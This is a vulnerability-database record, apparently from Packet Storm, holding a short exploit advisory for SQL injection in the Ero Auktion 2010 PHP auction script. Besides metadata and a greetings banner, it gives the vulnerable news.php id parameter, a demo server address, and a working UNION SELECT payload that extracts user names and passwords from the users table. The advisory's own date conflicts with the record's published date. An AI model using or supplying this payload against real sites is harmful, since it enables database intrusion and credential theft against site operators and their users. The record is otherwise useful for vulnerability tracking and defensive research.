{"id": "PACKETSTORM:86549", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Ero Auktion 2010 SQL Injection", "description": "", "published": "2010-02-23T00:00:00", "modified": "2010-02-23T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/86549/Ero-Auktion-2010-SQL-Injection.html", "reporter": "Easy Laster", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:19:11", "viewCount": 9, "enchantments": {"score": {"value": 0.8, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.8}, "sourceHref": "https://packetstormsecurity.com/files/download/86549/eroauktion2010-sql.txt", "sourceData": "`----------------------------Information---------------------------------------- \n+Autor : Easy Laster \n+Date : 21.10.2010 \n+Script : Ero Auktion 2010 SQL Injection news.php \n+Download : ----- \n+Demo :http://wp1072278.vwp3485.webpack.hosteurope.de/demoserver/flashauktion2010/ \n+Price : 39,90\u0080 \n+Language :PHP \n+Discovered by Easy Laster \n+Security Group 4004-Security-Project \n+Greetz to Team-Internet ,Underground Agents \n+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok, \nKiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge, \nN00bor. \n-------------------------------------------------------------------------------- \n___ ___ ___ ___ _ _ _ _ \n| | | | | | |___ ___ ___ ___ ___|_| |_ _ _ ___ ___ ___ ___ |_|___ ___| |_ \n|_ | | | | |_ |___|_ -| -_| _| _| | _| | |___| . | _| . | | | -_| _| _| \n|_|___|___| |_| |___|___|___|_| |_|_| |_ | | _|_| |___|_| |___|___|_| \n|___| |_| |___| \n-------------------------------------------------------------------------------- \n+Vulnerability : www.Site.com/news.php?id=[SQL] \n+Exploitable : www.Site.com/flashauktion2010/news.php?id=11111111+union+select \n+1,2,concat%28name,0x3a,password%29,4,5+from+users# \n-------------------------------------------------------------------------------- \n`\n", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645352608, "score": 1659769055}}
{}
Ero Auktion 2010 SQL Injection